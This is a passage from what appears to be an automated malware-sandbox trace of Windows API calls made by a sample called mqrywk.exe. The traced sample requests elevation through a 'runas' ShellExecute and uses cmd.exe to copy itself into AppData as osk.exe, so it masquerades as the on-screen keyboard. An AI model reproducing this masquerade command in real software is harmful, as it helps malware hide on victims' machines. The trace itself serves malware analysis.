lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe")) returned 0x30 [0027.255] GlobalLock (hMem=0x270004) returned 0x5bf090 [0027.255] GlobalHandle (pMem=0x5bf090) returned 0x270004 [0027.255] GlobalUnlock (hMem=0x270004) returned 0 [0027.255] GlobalLock (hMem=0x270004) returned 0x5bf090 [0027.255] GlobalLock (hMem=0x27000c) returned 0x5e9d28 [0027.255] GlobalHandle (pMem=0x5bf090) returned 0x270004 [0027.255] GlobalUnlock (hMem=0x270004) returned 0 [0027.255] GlobalHandle (pMem=0x5e9d28) returned 0x27000c [0027.255] GlobalUnlock (hMem=0x27000c) returned 0 [0027.255] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x579708, cbMultiByte=5, lpWideCharStr=0x18edbc, cchWideChar=2047 | out: lpWideCharStr="runas\x18\n") returned 5 [0027.255] ShellExecuteW (hwnd=0x0, lpOperation="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", lpParameters="runas", lpDirectory=0x0, nShowCmd=1) returned 0x2a [0027.323] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0xaa0 Thread: id = 3 os_tid = 0xb90 Thread: id = 5 os_tid = 0xb94 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x32b0c000" os_pid = "0x7e0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x1c4" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 4 os_tid = 0x328 [0027.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x35fdfc | out: lpSystemTimeAsFileTime=0x35fdfc*(dwLowDateTime=0x36d9dae0, dwHighDateTime=0x1d5ddc0)) [0027.181] GetCurrentProcessId () returned 0x7e0 [0027.181] GetCurrentThreadId () returned 0x328 [0027.181] GetTickCount () returned 0x1151f63 [0027.181] QueryPerformanceCounter (in: lpPerformanceCount=0x35fdf4 | out: lpPerformanceCount=0x35fdf4*=16894771505) returned 1 [0027.182] GetModuleHandleA (lpModuleName=0x0) returned 0x4a490000 [0027.182] __set_app_type (_Type=0x1) [0027.182] __p__fmode () returned 0x76be31f4 [0027.184] __p__commode () returned 0x76be31fc [0027.184] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a4b21a6) returned 0x0 [0027.184] __getmainargs (in: _Argc=0x4a4b4238, _Argv=0x4a4b4240, _Env=0x4a4b423c, _DoWildCard=0, _StartInfo=0x4a4b4140 | out: _Argc=0x4a4b4238, _Argv=0x4a4b4240, _Env=0x4a4b423c) returned 0 [0027.184] GetCurrentThreadId () returned 0x328 [0027.184] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x328) returned 0x60 [0027.184] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0027.184] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0027.184] SetThreadUILanguage (LangId=0x0) returned 0x409 [0027.185] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0027.185] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x35fd8c | out: phkResult=0x35fd8c*=0x0) returned 0x2 [0027.185] VirtualQuery (in: lpAddress=0x35fdc3, lpBuffer=0x35fd5c, dwLength=0x1c | out: lpBuffer=0x35fd5c*(BaseAddress=0x35f000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0027.185] VirtualQuery (in: lpAddress=0x260000, lpBuffer=0x35fd5c, dwLength=0x1c | out: lpBuffer=0x35fd5c*(BaseAddress=0x260000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0027.185] VirtualQuery (in: lpAddress=0x261000, lpBuffer=0x35fd5c, dwLength=0x1c | out: lpBuffer=0x35fd5c*(BaseAddress=0x261000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0027.185] VirtualQuery (in: lpAddress=0x263000, lpBuffer=0x35fd5c, dwLength=0x1c | out: lpBuffer=0x35fd5c*(BaseAddress=0x263000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0027.185] VirtualQuery (in: lpAddress=0x360000, lpBuffer=0x35fd5c, dwLength=0x1c | out: lpBuffer=0x35fd5c*(BaseAddress=0x360000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0027.185] GetConsoleOutputCP () returned 0x1b5 [0027.185] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4b4260 | out: lpCPInfo=0x4a4b4260) returned 1 [0027.185] SetConsoleCtrlHandler (HandlerRoutine=0x4a4ae72a, Add=1) returned 1 [0027.185] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.185] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0027.186] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.186] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a4b41ac | out: lpMode=0x4a4b41ac) returned 1 [0027.186] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.186] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0027.186] _get_osfhandle (_FileHandle=0) returned 0x3 [0027.186] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a4b41b0 | out: lpMode=0x4a4b41b0) returned 1 [0027.188] _get_osfhandle (_FileHandle=0) returned 0x3 [0027.188] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0027.188] GetEnvironmentStringsW () returned 0x3b2168* [0027.188] GetProcessHeap () returned 0x3a0000 [0027.188] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xaca) returned 0x3b2c40 [0027.188] FreeEnvironmentStringsW (penv=0x3b2168) returned 1 [0027.188] GetProcessHeap () returned 0x3a0000 [0027.188] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x4) returned 0x3b1850 [0027.188] GetEnvironmentStringsW () returned 0x3b2168* [0027.188] GetProcessHeap () returned 0x3a0000 [0027.188] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xaca) returned 0x3b3718 [0027.188] FreeEnvironmentStringsW (penv=0x3b2168) returned 1 [0027.188] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x35ecfc | out: phkResult=0x35ecfc*=0x68) returned 0x0 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x0, lpData=0x35ed08*=0x0, lpcbData=0x35ed00*=0x1000) returned 0x2 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x4, lpData=0x35ed08*=0x1, lpcbData=0x35ed00*=0x4) returned 0x0 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x0, lpData=0x35ed08*=0x1, lpcbData=0x35ed00*=0x1000) returned 0x2 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x4, lpData=0x35ed08*=0x0, lpcbData=0x35ed00*=0x4) returned 0x0 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x4, lpData=0x35ed08*=0x40, lpcbData=0x35ed00*=0x4) returned 0x0 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x4, lpData=0x35ed08*=0x40, lpcbData=0x35ed00*=0x4) returned 0x0 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x0, lpData=0x35ed08*=0x40, lpcbData=0x35ed00*=0x1000) returned 0x2 [0027.189] RegCloseKey (hKey=0x68) returned 0x0 [0027.189] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x35ecfc | out: phkResult=0x35ecfc*=0x68) returned 0x0 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x0, lpData=0x35ed08*=0x40, lpcbData=0x35ed00*=0x1000) returned 0x2 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x4, lpData=0x35ed08*=0x1, lpcbData=0x35ed00*=0x4) returned 0x0 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x0, lpData=0x35ed08*=0x1, lpcbData=0x35ed00*=0x1000) returned 0x2 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x4, lpData=0x35ed08*=0x0, lpcbData=0x35ed00*=0x4) returned 0x0 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x4, lpData=0x35ed08*=0x9, lpcbData=0x35ed00*=0x4) returned 0x0 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x4, lpData=0x35ed08*=0x9, lpcbData=0x35ed00*=0x4) returned 0x0 [0027.189] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x35ed04, lpData=0x35ed08, lpcbData=0x35ed00*=0x1000 | out: lpType=0x35ed04*=0x0, lpData=0x35ed08*=0x9, lpcbData=0x35ed00*=0x1000) returned 0x2 [0027.189] RegCloseKey (hKey=0x68) returned 0x0 [0027.189] time (in: timer=0x0 | out: timer=0x0) returned 0x5e3d6f9a [0027.189] srand (_Seed=0x5e3d6f9a) [0027.190] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"" [0027.190] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"" [0027.191] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4b5260 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0027.191] GetProcessHeap () returned 0x3a0000 [0027.191] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x210) returned 0x3b2168 [0027.191] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3b2170, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0027.192] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4c0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0027.192] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4c0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0027.192] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4c0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0027.192] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0027.192] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0027.192] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0027.192] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0027.192] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0027.192] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0027.192] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0027.192] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0027.192] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0027.192] GetProcessHeap () returned 0x3a0000 [0027.192] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b2c40 | out: hHeap=0x3a0000) returned 1 [0027.192] GetEnvironmentStringsW () returned 0x3b2380* [0027.192] GetProcessHeap () returned 0x3a0000 [0027.193] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xae2) returned 0x3b4ce0 [0027.193] FreeEnvironmentStringsW (penv=0x3b2380) returned 1 [0027.193] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a4c0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0027.193] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a4c0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0027.193] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0027.193] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0027.193] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0027.193] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0027.193] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0027.193] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0027.193] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0027.193] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0027.193] GetProcessHeap () returned 0x3a0000 [0027.193] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x30) returned 0x3b1fe8 [0027.193] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x35fac8 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0027.193] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x35fac8, lpFilePart=0x35fac4 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x35fac4*="system32") returned 0x13 [0027.193] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0027.193] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x35f844 | out: lpFindFileData=0x35f844*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x3b57d0 [0027.194] FindClose (in: hFindFile=0x3b57d0 | out: hFindFile=0x3b57d0) returned 1 [0027.194] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x35f844 | out: lpFindFileData=0x35f844*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x3a0ff0 [0027.194] FindClose (in: hFindFile=0x3a0ff0 | out: hFindFile=0x3a0ff0) returned 1 [0027.194] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0027.194] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0027.194] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0027.194] GetProcessHeap () returned 0x3a0000 [0027.194] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b4ce0 | out: hHeap=0x3a0000) returned 1 [0027.194] GetEnvironmentStringsW () returned 0x3b41f0* [0027.194] GetProcessHeap () returned 0x3a0000 [0027.194] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xb12) returned 0x3b4d10 [0027.194] FreeEnvironmentStringsW (penv=0x3b41f0) returned 1 [0027.194] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4b5260 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0027.194] GetProcessHeap () returned 0x3a0000 [0027.194] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b1fe8 | out: hHeap=0x3a0000) returned 1 [0027.194] GetProcessHeap () returned 0x3a0000 [0027.194] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x400e) returned 0x3b5830 [0027.194] GetProcessHeap () returned 0x3a0000 [0027.195] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xf2) returned 0x3a0ff0 [0027.195] GetProcessHeap () returned 0x3a0000 [0027.195] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5830 | out: hHeap=0x3a0000) returned 1 [0027.195] GetConsoleOutputCP () returned 0x1b5 [0027.195] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4b4260 | out: lpCPInfo=0x4a4b4260) returned 1 [0027.195] GetUserDefaultLCID () returned 0x409 [0027.195] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a4b4950, cchData=8 | out: lpLCData=":") returned 2 [0027.195] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x35fc08, cchData=128 | out: lpLCData="0") returned 2 [0027.195] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x35fc08, cchData=128 | out: lpLCData="0") returned 2 [0027.196] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x35fc08, cchData=128 | out: lpLCData="1") returned 2 [0027.196] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a4b4940, cchData=8 | out: lpLCData="/") returned 2 [0027.196] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a4b4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0027.196] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a4b4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0027.196] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a4b4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0027.196] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a4b4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0027.196] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a4b4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0027.196] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a4b4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0027.196] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a4b4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0027.196] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a4b4930, cchData=8 | out: lpLCData=".") returned 2 [0027.196] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a4b4920, cchData=8 | out: lpLCData=",") returned 2 [0027.196] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0027.197] GetProcessHeap () returned 0x3a0000 [0027.197] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x0, Size=0x20c) returned 0x3b2ea0 [0027.197] GetConsoleTitleW (in: lpConsoleTitle=0x3b2ea0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0027.197] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0027.197] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0027.197] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0027.198] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0027.198] GetProcessHeap () returned 0x3a0000 [0027.198] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x400a) returned 0x3b5830 [0027.198] GetProcessHeap () returned 0x3a0000 [0027.198] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5830 | out: hHeap=0x3a0000) returned 1 [0027.199] _wcsicmp (_String1="copy", _String2=")") returned 58 [0027.199] _wcsicmp (_String1="FOR", _String2="copy") returned 3 [0027.199] _wcsicmp (_String1="FOR/?", _String2="copy") returned 3 [0027.199] _wcsicmp (_String1="IF", _String2="copy") returned 6 [0027.199] _wcsicmp (_String1="IF/?", _String2="copy") returned 6 [0027.199] _wcsicmp (_String1="REM", _String2="copy") returned 15 [0027.199] _wcsicmp (_String1="REM/?", _String2="copy") returned 15 [0027.199] GetProcessHeap () returned 0x3a0000 [0027.199] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x58) returned 0x3a10f0 [0027.199] GetProcessHeap () returned 0x3a0000 [0027.199] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x12) returned 0x3a1150 [0027.201] GetProcessHeap () returned 0x3a0000 [0027.201] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xe6) returned 0x3a1170 [0027.202] GetConsoleTitleW (in: lpConsoleTitle=0x35f900, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0027.202] _wcsicmp (_String1="copy", _String2="DIR") returned -1 [0027.202] _wcsicmp (_String1="copy", _String2="ERASE") returned -2 [0027.202] _wcsicmp (_String1="copy", _String2="DEL") returned -1 [0027.202] _wcsicmp (_String1="copy", _String2="TYPE") returned -17 [0027.202] _wcsicmp (_String1="copy", _String2="COPY") returned 0 [0027.202] GetProcessHeap () returned 0x3a0000 [0027.202] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x1c4) returned 0x3b30b8 [0027.203] GetProcessHeap () returned 0x3a0000 [0027.203] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b30b8, Size=0xe8) returned 0x3b30b8 [0027.203] GetProcessHeap () returned 0x3a0000 [0027.203] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b30b8) returned 0xe8 [0027.205] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0027.205] GetProcessHeap () returned 0x3a0000 [0027.205] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xf0) returned 0x3b31a8 [0027.206] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4b5260 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0027.206] GetProcessHeap () returned 0x3a0000 [0027.206] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2c) returned 0x3a1260 [0027.206] GetProcessHeap () returned 0x3a0000 [0027.206] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2c) returned 0x3b32a0 [0027.206] GetProcessHeap () returned 0x3a0000 [0027.206] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x18) returned 0x3a1298 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0027.206] _wcsnicmp 